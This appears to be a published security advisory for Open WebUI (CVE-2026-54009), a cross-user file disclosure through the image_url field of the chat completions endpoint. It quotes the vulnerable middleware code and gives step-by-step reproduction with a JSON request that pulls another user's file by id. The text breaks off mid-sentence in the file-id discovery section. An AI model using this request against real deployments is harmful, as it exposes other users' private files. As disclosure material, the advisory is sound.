Open WebUI: Cross-user file disclosure via /api/chat/completions image_url field

## summary `POST /api/chat/completions` accepts an `image_url.url` value that, when it does NOT start with `http://`, `https://`, or `data:image/`, is interpreted as a file id and resolved against the global file table with no ownership check. An authenticated user can therefore set `image_url.url` to another user's file id, the server reads that file from disk, base64-encodes it, and injects the data URI into the LLM request. The user then prompts the LLM to describe / OCR the file and reads the content back. Same class as CVE-2026-44560 (RAG cross-user access) and the multiple `has_access_to_file` checks added in `routers/files.py` -- the auth boundary was tightened on the file router but not on this conversion path. ## affected code `backend/open_webui/utils/middleware.py:2113-2150` -- `convert_url_images_to_base64`: ```python async def convert_url_images_to_base64(form_data): messages = form_data.get('messages', []) for message in messages: content = message.get('content') if not isinstance(content, list): continue new_content = [] for item in content: if not isinstance(item, dict) or item.get('type') != 'image_url': new_content.append(item) continue image_url = item.get('image_url', {}).get('url', '') if image_url.startswith('data:image/'): new_content.append(item) continue try: base64_data = await get_image_base64_from_url(image_url) # <-- no `user` passed if base64_data: new_content.append({'type': 'image_url', 'image_url': {'url': base64_data}}) ``` called from the main chat completion middleware at `middleware.py:2357`: ```python form_data = await convert_url_images_to_base64(form_data) ``` `backend/open_webui/utils/files.py:57-95` -- `get_image_base64_from_url`: ```python async def get_image_base64_from_url(url: str) -> Optional[str]: try: if url.startswith('http'): validate_url(url) # ... SSRF-safe fetch with allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS ... else: file = await Files.get_file_by_id(url) # <-- NO user_id filter if not file: return None file_path = await asyncio.to_thread(Storage.get_file, file.path) file_path = Path(file_path) if file_path.is_file(): with open(file_path, 'rb') as image_file: encoded_string = base64.b64encode(image_file.read()).decode('utf-8') content_type = mimetypes.guess_type(file_path.name)[0] or (file.meta or {}).get('content_type') ... return f'data:{content_type};base64,{encoded_string}' ``` `Files.get_file_by_id` in `models/files.py:161` does a bare `db.get(File, id)` -- no ownership filter. there is a separate `Files.get_file_by_id_and_user_id` at line 172 that does filter on `user_id`, and the file router uses `has_access_to_file(id, 'read', user, db)` at `routers/files.py:626` etc. neither check exists on this path. ## reproduction 1. As user A, upload any file (image works cleanly, pdf works if a vision-capable model is configured). Note the file id from the upload response, e.g. `c7f1d8e3-...`. 2. As user B, POST to `/api/v1/chat/completions` with body: ```json { "model": "<any vision model>", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "transcribe everything you can see in this image"}, {"type": "image_url", "image_url": {"url": "c7f1d8e3-..."}} ] } ] } ``` Server reads user A's file from disk, base64-encodes it, and sends to the LLM as user B's image attachment. LLM response contains the file content. ## file id discovery File ids are UUIDs and not enumerable directly, but they leak via: - shared chats / chann

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-639

Also known as

CVE-2026-54009, PYSEC-2026-2766

• github.com/open-webui/open-webui/security/advisories/GHSA-wch8-mhj5-9frg
• nvd.nist.gov/vuln/detail/CVE-2026-54009
• github.com/advisories/GHSA-wch8-mhj5-9frg
• github.com/open-webui/open-webui
• github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2766.yaml
• pypi.org/project/open-webui